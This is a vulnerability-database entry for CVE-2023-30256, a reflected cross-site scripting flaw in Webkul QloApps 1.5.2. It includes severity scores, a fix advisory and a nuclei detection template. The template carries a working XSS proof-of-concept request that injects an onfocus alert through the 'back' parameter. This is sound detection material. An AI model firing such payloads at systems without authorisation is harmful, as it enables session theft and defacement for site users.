HexBrain

Browse / CVEs / CVE-2023-30256

CVE-2023-30256· webkul / qloapps· CWE-79

Webkul QloApps 1.5.2 - Cross-site Scripting

mediumseverity
6.1CVSS score
9.1%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

Cross Site Scripting vulnerability found in Webkil QloApps v.1.5.2 allows a remote attacker to obtain sensitive information via the back and email_create parameters in the AuthController.php file.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/?rand=1679996611398&controller=authentication&SubmitCreate=1&ajax=true&email_create=a&back=xss%20onfocus%3dalert(document.domain)%20autof…
Positive when: contains "xss onfocus=alert(document.domain) autofocus= xss" and "hasConfirmation" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-30256 -u <target>

The full check
id: CVE-2023-30256

info:
  name: Webkul QloApps 1.5.2 - Cross-site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Cross Site Scripting vulnerability found in Webkil QloApps v.1.5.2 allows a remote attacker to obtain sensitive information via the back and email_create parameters in the AuthController.php file.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/webkul/hotelcommerce
    - http://packetstormsecurity.com/files/172542/Webkul-Qloapps-1.5.2-Cross-Site-Scripting.html
    - https://github.com/ahrixia/CVE-2023-30256
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30256
    - https://qloapps.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-30256
    cwe-id: CWE-79
    epss-score: 0.09054
    epss-percentile: 0.95327
    cpe: cpe:2.3:a:webkul:qloapps:1.5.2:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: webkul
    product: qloapps
    fofa-query: title="qloapps"
  tags: cve2023,cve,packetstorm,xss,webkul-qloapps,unauth,webkul,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?rand=1679996611398&controller=authentication&SubmitCreate=1&ajax=true&email_create=a&back=xss%20onfocus%3dalert(document.domain)%20autofocus%3d%20xss&token=6c62b773f1b284ac4743871b300a0c4d"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "xss onfocus=alert(document.domain) autofocus= xss"
          - "hasConfirmation"
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from